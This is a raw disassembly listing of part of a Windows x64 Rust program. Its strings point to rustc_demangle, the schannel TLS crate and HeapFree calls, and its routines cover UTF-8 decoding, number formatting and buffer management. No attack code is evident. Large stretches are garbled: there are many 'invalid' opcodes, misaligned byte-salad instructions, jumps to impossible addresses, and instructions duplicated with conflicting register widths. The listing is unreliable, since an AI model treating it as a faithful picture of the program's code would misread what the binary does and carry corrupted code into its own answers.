jmp 0x1400ceb69
movzx ecx, byte [r15 + 1]
cmp cl, 0xbf
jle 0x1400ced34
movzx eax, cl
test cl, cl
js 0x1400ceae2
cmp eax, 0x2e
jne 0x1400ceb36
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 2
lea rdx, [0x140143e08]
call qword [rax + 0x18]
test al, al
jne 0x1400cebfd
cmp r14, 3
jb 0x1400ce7ed
cmp byte [r15 + 2], 0xc0
jl 0x1400ced9a
add r14, 0xfffffffffffffffe
add r15, 2
jmp 0x1400ceb69
jne 0x1400cec6a
mov r13, rdx
mov qword [rbp + 0x10], r14
mov rax, r15
add r13, 2
je 0x1400ce851
mov rax, r14
sub rax, r13
jbe 0x1400ce824
cmp byte [r15 + r13], 0xc0
jge 0x1400ce82a
jmp 0x1400ced05
jne 0x1400ced05
add r13, r15
cmp rdx, 1
mov r12, qword [rbp + 0x20]
mov qword [rbp + 0x10], rax
je 0x1400ce91c
cmp rdx, 2
je 0x1400ce86f
mov rax, r13
test rdx, rdx
je 0x1400ce150
cmp byte [r15 + 1], 0x75
jne 0x1400ce150
cmp byte [r15 + 2], 0xbf
mov r13, rax
jg 0x1400ce938
jmp 0x1400ced3d
movzx ecx, word [rdi]
lea rax, [0x140143ec5]
cmp ecx, 0x5053
je 0x1400cea25
movzx ecx, word [rdi]
lea rax, [0x14014a4d0]
cmp ecx, 0x5042
je 0x1400cea25
movzx ecx, word [rdi]
lea rax, [0x140143ec4]
cmp ecx, 0x4652
je 0x1400cea25
movzx ecx, word [rdi]
lea rax, [0x140143ec3]
cmp ecx, 0x544c
je 0x1400cea25
movzx ecx, word [rdi]
lea rax, [0x140143ec2]
cmp ecx, 0x5447
je 0x1400cea25
movzx ecx, word [rdi]
lea rax, [0x140143ec1]
cmp ecx, 0x504c
je 0x1400cea25
movzx ecx, word [rdi]
lea rax, [0x14014d458]
cmp ecx, 0x5052
je 0x1400cea25
mov rax, r13
cmp byte [r15 + 1], 0x75
je 0x1400ce85c
jmp 0x1400ce150
movzx ecx, byte [rdi]
lea rax, [0x140143ec0]
cmp ecx, 0x43
je 0x1400cea25
cmp ecx, 0x75
jne 0x1400ce150
lea rcx, [r15 + 2]
add rdi, rdx
dec rdx
mov rax, rcx
jmp 0x1400ce96e
add rax, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x1400ce96e
nop
add r8d, 0xffffff9f
cmp r8d, 6
jae 0x1400cea4d
mov r12b, 1
cmp rax, rdi
je 0x1400cea50
movzx r11d, byte [rax]
movzx r8d, r11b
test r8b, r8b
js 0x1400ce9a0
inc rax
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce960
jmp 0x1400ce96e
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rax + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400ce947
movzx r10d, byte [rax + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1400cea04
movzx r8d, byte [rax + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400cea50
add rax, 4
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce960
jmp 0x1400ce96e
add rax, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce960
jmp 0x1400ce96e
mov rcx, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov r8d, 1
mov rdx, rax
call qword [r9 + 0x18]
test al, al
mov rcx, qword [rbp + 0x10]
je 0x1400ce535
jmp 0x1400cebfd
xor r12d, r12d
mov r8d, 0x10
call fcn.140019760
test al, 1
jne 0x1400ce150
shr rax, 0x20
mov ecx, eax
xor ecx, 0xd800
add ecx, 0xffef0000
cmp ecx, 0xffef0800
mov ecx, 0x110000
cmovb eax, ecx
cmp eax, 0x110000
sete cl
xor r12b, 1
or r12b, cl
jne 0x1400ce150
mov dword [rbp - 0x38], eax
mov ecx, eax
shl ecx, 0xb
cmp ecx, 0x88050000
jae 0x1400cebe7
cmp eax, 0x20
jb 0x1400ce150
add eax, 0xffffff81
cmp eax, 0x21
jb 0x1400ce150
lea rcx, [rbp - 0x38]
mov r12, qword [rbp + 0x20]
mov rdx, r12
call fcn.140018160
test al, al
mov rcx, qword [rbp + 0x10]
je 0x1400ce535
jmp 0x1400cebfd
and eax, 0x1f
movzx r8d, byte [r15 + 2]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x1400ceb27
movzx edx, byte [r15 + 3]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x1400ceb74
movzx ecx, byte [r15 + 4]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or eax, ecx
cmp eax, 0x2e
je 0x1400ce7ba
jmp 0x1400ceb36
shl eax, 6
or eax, r8d
cmp eax, 0x2e
je 0x1400ce7ba
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
lea rdx, [0x1401496a9]
call qword [rax + 0x18]
test al, al
jne 0x1400cebfd
cmp byte [r15 + 1], 0xc0
jl 0x1400ced7a
dec r14
inc r15
mov rcx, r14
mov r13, r15
jmp 0x1400ce535
shl eax, 0xc
or eax, edx
cmp eax, 0x2e
je 0x1400ce7ba
jmp 0x1400ceb36
cmp byte [r13 + 1], 0xbf
jle 0x1400ced5a
inc r13
lea rcx, [rax - 1]
jmp 0x1400ce52e
movups xmm0, xmmword [rax + 8]
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], 0
mov dword [rbp - 0x20], 0
mov qword [rbp - 0x18], r12
mov dword [rbp - 0x10], 0
lea rcx, [rbp - 0x38]
mov dl, 1
call fcn.1400c8660
mov r15d, eax
jmp 0x1400cebd0
xor r15d, r15d
mov eax, r15d
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x140114d28]
mov ecx, 1
mov edx, 1
call fcn.1401082d0
mov r15b, 1
jmp 0x1400cebd0
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
call fcn.140108690
mov dl, 1
mov byte [rbp - 0x38], dl
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140143c38]
lea r8, [rbp - 0x38]
mov edx, 0x2b
call fcn.140108600
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r13
mov rdx, r14
mov r9, r14
call fcn.1401087e0
xor edx, edx
cmp r11d, 0xa
adc dl, 1
jmp 0x1400cec10
mov dl, 2
jmp 0x1400cec10
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r15
mov rdx, r14
call fcn.1401087e0
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rcx
mov rcx, r13
mov rdx, r14
mov r8, rax
mov r9, r14
call fcn.1401087e0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r14
xor r8d, r8d
mov r9, rdi
call fcn.1401087e0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r14
mov r8, rdi
mov r9, r14
call fcn.1401087e0
xor edx, edx
jmp 0x1400cec10
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rbp + 0x18]
xor r8d, r8d
call fcn.1401087e0
call fcn.140108800
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r14
mov r8, r13
mov r9, r14
call fcn.1401087e0
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400ced61
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400ced81
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400ced81
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdi
mov r9, rdx
call fcn.1401087e0
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rcx
mov r8d, 1
mov rcx, r13
mov rdx, rax
mov r9, rax
call fcn.1401087e0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r15
mov rdx, r14
mov r9, r14
call fcn.1401087e0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r15
mov rdx, r14
mov r9, r14
call fcn.1401087e0
int3
xchg ebp, eax
ror byte [rcx + rbp + 0x41], 8
setb dl
or dl, al
movzx edx, dl
mov qword [rcx], rdx
mov al, 1
test dl, dl
jne case.0x140019144.2787
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [rbp - 4]
call qword [rax + 0x18]
nop
add rsp, 0x30
pop rbp
ret
mov r8, rdx
mov rax, rcx
shr rax, 0x20
je 0x1400cefe9
movabs rdx, 0xabcc77118461cefd
mov rax, rcx
mul rdx
shr rdx, 0x1a
imul eax, edx, 0xfa0a1f00
add ecx, eax
mov eax, 0xd1b71759
imul rax, rcx
shr rax, 0x2d
imul r9d, eax, 0x2710
sub ecx, r9d
imul r9, rax, 0x68db9
shr r9, 0x20
imul r9d, r9d, 0x2710
add byte [rcx + rbp - 0x38], al
add byte [rcx + rbp - 0x38], al
imul r9d, ecx, 0x147b
shr r9d, 0x13
imul r10d, r9d, 0x64
sub ecx, r10d
movzx ecx, cx
imul r10d, eax, 0x147b
shr r10d, 0x13
imul r11d, r10d, 0x64
sub eax, r11d
fmul dword [rdi]
mov bh, 0xc0
fmul dword [rdi]
mov bh, 0xc0
lea r11, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
movzx ecx, word [r11 + rcx*2]
mov word [r8 - 2], cx
movzx ecx, word [r11 + r9*2]
mov word [r8 - 4], cx
movzx eax, word [r11 + rax*2]
mov word [r8 - 6], ax
movzx eax, word [r11 + r10*2]
movzx eax, word [rbx + rdx*2]
movzx eax, word [rbx + rdx*2]
mov word [r8 - 8], ax
add r8, 0xfffffffffffffff8
mov rcx, rdx
cmp ecx, 0x2710
jb 0x1400cf0a3
mov edx, 0xd1b71759
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
nop word cs:[rax + rax]
mov eax, ecx
imul rax, rdx
shr rax, 0x2d
imul r10d, eax, 0xffffd8f0
add r10d, ecx
imul r11, r10, 0x51eb851f
shr r11, 0x25
imul esi, r11d, 0x64
sub r10d, esi
movzx r10d, word [r9 + r10*2]
mov word [r8 - 2], r10w
movzx r10d, word [r9 + r11*2]
mov word [r8 - 4], r10w
add r8, 0xfffffffffffffffc
cmp ecx, 0x5f5e0ff
mov ecx, eax
ja 0x1400cf010
cmp eax, 0x63
jbe 0x1400cf08a
invalid
sub eax, 0xc1c8b70f
jmp 0x1bbd65968
movzx ecx, ax
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul edx, ecx, 0x64
sub eax, edx
movzx eax, ax
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
movzx eax, word [rdx + rax*2]
mov word [r8 - 2], ax
dec byte [rcx - 0x7d]
sar dh, 0x89
invalid
dec byte [rcx - 0x7d]
sar dh, 0x89
enter 0xfffffffffffff883, 9
cmp eax, 9
jbe 0x1400cf0ac
mov eax, eax
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
movzx eax, word [rcx + rax*2]
mov word [r8 - 2], ax
pop rsi
ret
mov eax, ecx
cmp eax, 0x63
ja 0x1400cf05d
jmp 0x1400cf08a
or al, 0x30
mov byte [r8 - 1], al
pop rsi
ret
mov dh, 0x47
add dword [rcx - 0x7d], eax
loopne 0x1400cf36b
cmp r12b, 0xdf
jbe 0x1400cf376
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x1400cf385
movzx r12d, byte [rdi + 3]
and eax, 7
shl eax, 0x12
adc al, cl
loope 0x1400cf359
adc al, cl
loope 0x1400cf359
and r12d, 0x3f
or r12d, ecx
or r12d, eax
cmp r12d, 0x110000
jne 0x1400cf3c5
int3
xor r14d, r14d
xor edi, edi
xor r12d, r12d
xor r13d, r13d
jmp 0x1400cf425
add rdi, 2
shl eax, 6
add al, cl
loopne 0x1400cf383
or eax, r8d
mov r12d, eax
jmp 0x1400cf3d2
add rdi, 3
shl eax, 0xc
or ecx, eax
mov r12d, ecx
cmp r12d, 0xffff
jbe 0x1400cf3d2
lea eax, [r12 + 0xff0000]
shr eax, 0xa
call 0x1180d00b2
add byte [rax], al
call 0x1180d00b2
add byte [rax], al
and r12d, 0x3ff
or r12d, 0xdc00
mov ecx, 1
mov r14d, r12d
mov r12d, eax
jmp 0x1400cf3d7
add rdi, 4
cmp r12d, 0xffff
inc dword [rax]
add byte [rdi - 0x38], dh
inc dword [rax]
add byte [rdi - 0x38], dh
xor r14d, r14d
xor ecx, ecx
mov rax, r15
sub rax, rdi
add rax, 2
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
add rdx, rcx
cmp rdx, 3
add edi, dword [rbp + 2]
add edi, dword [rbp + 2]
cmovae rbp, rdx
movabs rax, 0x3ffffffffffffffe
cmp rdx, rax
jae 0x1400cf640
lea rbx, [rbp*2 + 4]
add rbp, 2
mov r13w, 1
invalid
invalid
add dword [rax], eax
mov r13d, 0xb60f0001
add eax, 0xb2ee4
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbx
call fcn.1400dfbe0
test rax, rax
je 0x1400cf633
mov word [rax], r12w
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rcx, [r15 + 2]
mov qword [rsp + 0x40], rcx
mov ebx, 1
jmp 0x1400cf490
xor ecx, ecx
mov r12d, r14d
cmp rbx, qword [rsp + 0x28]
je 0x1400cf53f
mov r14d, ecx
mov word [rax + rbx*2], r12w
inc rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x38], ebx
test rdi, rdi
je 0x1400cf510
test r14w, r14w
jne 0x1400cf470
cmp rdi, r15
je 0x1400cf510
movzx r8d, byte [rdi]
movzx r12d, r8b
test r12b, r12b
js 0x1400cf4b4
inc rdi
xor ecx, ecx
jmp 0x1400cf475
mov ecx, r12d
and ecx, 0x1f
movzx r9d, byte [rdi + 1]
and r9d, 0x3f
cmp r12b, 0xdf
jbe 0x1400cf588
add byte [rax], al
add byte [rax], al
movzx edx, byte [rdi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
cmp al, 0xf0
jb 0x1400cf59c
movzx r12d, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r12d, 0x3f
or r12d, edx
or r12d, ecx
cmp r12d, 0x110000
jne 0x1400cf5db
nop word [rax + rax]
mov rbp, qword [rsp + 0x28]
cmp r13w, 1
jne 0x1400cf5ef
xor r13d, r13d
mov edi, 0
mov r12d, 0
mov r8d, 0
cmp rbx, rbp
jne 0x1400cf483
jmp 0x1400cf56e
mov rax, qword [rsp + 0x40]
sub rax, rdi
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
mov r8, rdx
shr r8, 1
cmp cx, 1
sbb r8, 0xffffffffffffffff
cmp r13w, 1
sbb r8, 0xffffffffffffffff
mov r14d, ecx
inc r8
lea rcx, [rsp + 0x28]
mov rdx, rbx
call fcn.14010d9e0
mov rax, qword [rsp + 0x30]
jmp 0x1400cf483
add rdi, 2
shl ecx, 6
or ecx, r9d
mov r12d, ecx
xor ecx, ecx
jmp 0x1400cf475
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov r12d, edx
cmp r12d, 0xffff
jbe 0x1400cf5e8
lea edx, [r12 + 0xff0000]
shr edx, 0xa
or edx, 0xd800
and r12d, 0x3ff
or r12d, 0xdc00
mov ecx, r12d
mov r12d, edx
jmp 0x1400cf475
add rdi, 4
cmp r12d, 0xffff
ja 0x1400cf5b1
xor ecx, ecx
jmp 0x1400cf475
mov rdi, qword [rsp + 0x30]
mov rax, qword [rsi + 0x10]
shl rax, 1
test rax, rax
je 0x1400cf613
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi + 0x10], rbp
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rbx
mov rax, rsi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 2
mov rdx, rbx
call fcn.140107fc0
call fcn.140010b00
int3
dec esp
int3
nop dword [rax + rax]
add r15, qword [r8 - 0x48]
add r15, qword [r8 - 0x30]
add r15, qword [r8 - 0x18]
add r15, qword [r8]
add rcx, 4
add r8, 0x60
cmp rdx, rcx
cmp edx, ecx
cmp edx, ecx
jne 0x1400cf6a0
test rax, rax
je 0x1400cf6ed
lea rcx, [rcx + rcx*2]
lea rcx, [rdi + rcx*8]
add rcx, 0x10
shl eax, 3
lea rax, [rax + rax*2]
xor edx, edx
nop word cs:[rax + rax]
nop dword [rax + rax]
add r15, qword [rcx + rdx]
add rdx, 0x18
cmp rax, rdx
jne 0x1400cf6e0
add r15, rbx
je 0x1400cf717
js case.0x1400733a2.464
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400dfbe0
test rax, rax
je 0x1400cf8bf
mov r14d, 1
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], 0
test rbx, rbx
je 0x1400cf802
shl rbx, 3
lea r13, [rbx + rbx*2]
xor ebp, ebp
lea r15, [rsp + 0x30]
xor ebx, ebx
jmp 0x1400cf790
mov byte [r14 + rbx], r12b
inc rbx
mov qword [rsp + 0x40], rbx
mov rdx, qword [rdi + rbp + 8]
mov rax, qword [rsp + 0x30]
sub rax, rbx
fmul dword [rcx + rdi - 0x20]
jb 0x1400cf7ab
mov r14, qword [rsp + 0x38]
lea rcx, [r14 + rbx]
mov r8, r12
mov eax, esp
mov eax, esp
call fcn.140106250
add rbx, r12
mov qword [rsp + 0x40], rbx
add rbp, 0x18
cmp r13, rbp
je 0x1400cf7c6
mov r12, qword [rdi + rbp + 0x10]
cmp rbx, qword [rsp + 0x30]
jne 0x1400cf750
mov rcx, r15
call fcn.1400ba350
mov r14, qword [rsp + 0x38]
jmp 0x1400cf750
mov rcx, r15
mov r14, rdx
mov rdx, rbx
mov r8, r12
call fcn.140109710
mov rdx, r14
mov edx, esi
mov edx, esi
mov rbx, qword [rsp + 0x40]
jmp 0x1400cf76e
lea rdi, [rbx + 0xa]
movabs rax, 0x7ffffffffffffffd
cmp rdi, rax
jb 0x1400cf809
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
add eax, 0x778e0
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140146ff8]
lea r8, [rsp + 0x2f]
add eax, 0x4c000778
lea eax, [rsp + 0x2f]
mov edx, 0x2b
call fcn.140108600
mov edi, 0xa
xor ebx, ebx
movzx eax, byte [0x140182310]
xor ecx, ecx
sub ecx, dword [rbx]
add byte [rcx], dh
leave
mov rdx, rdi
call fcn.1400dfbe0
test rax, rax
test eax, eax
test eax, eax
je 0x1400cf899
mov r15, rax
lea eax, [rbx + 6]
mov dword [r15], eax
mov dword [rdi], eax
mov dword [rdi], eax
mov dword [r15 + 4], 2
add al, 2
add byte [rax], al
add byte [rsi + 0x41], ah
mov dword [rdi + 8], ebx
pop rdi
invalid
mov word [r15 + 8], bx
pop rdi
or byte [rax - 0x7d], cl
sti
div byte [rbx + 0x6b]
cmp rbx, 0xfffffffffffffff6
jae 0x1400cf8a6
mov rcx, r15
add rcx, 0xa
mov rdx, r14
mov r8, rbx
call fcn.140106250
mov qword [rsi], 4
add byte [rax], al
add byte [rax - 0x77], cl
jle 0x1400cf860
fsubr st(0)
add ebp, dword [rdx + 3]
add byte [rax - 0x39], cl
invalid
add byte [rax], al
add byte [rax - 0x77], cl
jle 0x1400cf860
mov qword [rsi + 0x10], r15
cmp qword [rsp + 0x30], 0
xor byte [rax], al
je 0x1400cf887
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, r14
invalid
add rsp, 0x48
pop rbx
pop rbp
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
fldcw word [rdx]
add al, 0
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
mov ecx, 4
add byte [rax], al
mov rdx, rdi
mov edx, edi
call fcn.140107fe0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_alpn_list.rs
mov ecx, 0xa
mov rdx, rdi
mov edx, edi
call fcn.1401082c0
mov al, byte [rbx]
add al, ch
call fcn.140010b00
call fcn.140010b00
mov ecx, 1
mov rdx, r15
call fcn.140107fc0
int3
int3
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.LayoutErrorMicrosoft_Unified_Security_Protocol_Provider
mov r8d, 0xb
jmp rax
int3
int3
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
movaps xmmword [rsp + 0xe0], xmm6
loopne 0x1400cf909
add byte [rax], al
mov r14, rdx
mov rdi, rcx
xorps xmm6, xmm6
movaps xmmword [rsp + 0x70], xmm6
sub dword [rsp + 0x70], esi
sub dword [rsp + 0x70], esi
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 8
movabs al, byte [0x4800000008000000]
mov dword [rsp + 0xa8], 0
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0xa8], 0
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x4b], al
mov bpl, 1
mov esi, 8
add dword [rsi + 8], edi
movabs rax, 0x8000000000000000
cmp qword [r9], rax
jne 0x1400cf95b
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x75013949], al
invalid
xor eax, eax
xor r15d, r15d
xor edi, edi
xor edi, edi
jmp 0x1400cf9c4
mov r12, r8
mov esp, eax
mov rdx, qword [r9 + 8]
mov edx, dword [rcx + 8]
mov r8, qword [r9 + 0x10]
lea rcx, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add al, ch
invalid
cld
invalid
dec dword [rbx + rcx*4 - 0x44]
mov esp, 0x8024
add byte [rax - 0x75], cl
pushfq
and al, 0x90
add byte [rax], al
invalid
and al, 0x80
add byte [rax], al
add al, ch
invalid
mov esp, 0x8024
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rbp - 0x7b], cl
push qword [rsp + rsi + 0x4c]
mov ebp, dword [rsp + 0x88]
add byte [rax], al
test r15, r15
je case.0x1400b984a.167
mov r13, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x98]
call fcn.1400469a0
mov rsi, qword [rsp + 0xa0]
mov ah, 0x24
movabs al, byte [0x46c72e8944000000]
add al, 0x12
adc al, byte [rax]
add byte [rax], al
and al, 0x98
add byte [rax], al
add al, ch
add esi, dword [rax - 9]
dec dword [rax - 0x75]
mov ah, 0x24
movabs al, byte [0x46c72e8944000000]
add al, 0x12
invalid
adc al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsi + 8], rbx
pop rsi
or byte [rax + 1], bh
mov eax, 1
mov eax, 1
xor ebp, ebp
jmp 0x1400cf9c1
xor eax, eax
xor r15d, r15d
mov r8, r12
mov dword [rsp + 0xb0], 0
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xb4], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xb4], eax
mov qword [rsp + 0xb8], rsi
and al, 0xb8
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
mov ah, 0x24
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
invalid
movabs rax, 0x100000000
mov eax, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xc0]
add byte [rax], al
invalid
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
test byte [rax + rbx*8], ah
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x6c], 0
and al, 0x6c
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add bh, al
and al, 0x6c
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + 0xf], al
adc byte [rsi + 0x10], al
movups xmm0, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x80], xmm0
add byte [rax], 0
add byte [rax - 0x73], cl
and al, 0x6c
add byte [rax], al
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
and al, 0x50
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
lea rax, [rsp + 0x70]
and al, 0x70
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xb0]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x58], 0
add byte [rax], al
invalid
add byte [rax], al
add bh, al
add byte [rax], al
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
invalid
cmp byte [rax], al
add byte [rax], al
add bh, al
and al, 0x28
add byte [rax], al
add byte [rax], al
invalid
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rcx], dh
rol byte [rcx - 0x47], cl
pushfq
or dword [rcx], 0xc615ff00
add bh, bh
adc eax, 0x42ac6
and al, 0x80
add byte [rax], al
add byte [rcx], dh
rol byte [rcx - 0x47], cl
pushfq
or dword [rcx], 0xc615ff00
add bh, bh
adc eax, 0x42ac6
cmp eax, 0x90312
jne 0x1400cfab6
mov rax, qword [rsp + 0x70]
and al, 0x70
jo 0x1400cfad7
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x78]
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rdi + 0x18], xmm0
mov qword [rdi + 8], rcx
mov ecx, 1
or byte [r9 + 1], r15b
mov qword [rdi], rax
mov dword [rdi], eax
mov qword [rdi + 0x10], rcx
test bpl, bpl
adc byte [r8 - 0x7c], r8b
in eax, dx
je 0x1400cfacf
jmp case.0x140092c4a.364
shl rax, 0x20
or rax, 2
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov qword [rdi], rax
mov qword [rdi + 0x10], rcx
mov dword [rdi + 0x10], ecx
mov dword [rdi + 0x10], ecx
test bpl, bpl
test ch, ch
jne case.0x140092c4a.364
cmp r15, 0x11
jb 0x1400cfad9
invalid
add al, 0x48
mov ebx, dword [rbx - 8]
mov rbx, qword [rbx - 8]
pop rbx
clc
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
invalid
ror byte [rcx - 0x77], cl
fdivr st(7)
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapFree]
add al, 0
cmp qword [rsp + 0x98], 0
je 0x1400cfb08
mov rcx, qword [0x140182260]
or eax, dword [rax]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x42858
invalid
movaps xmm6, xmmword [rsp + 0xe0]
add rsp, 0xf8
invalid
clc
add byte [rax], al
invalid
invalid
clc
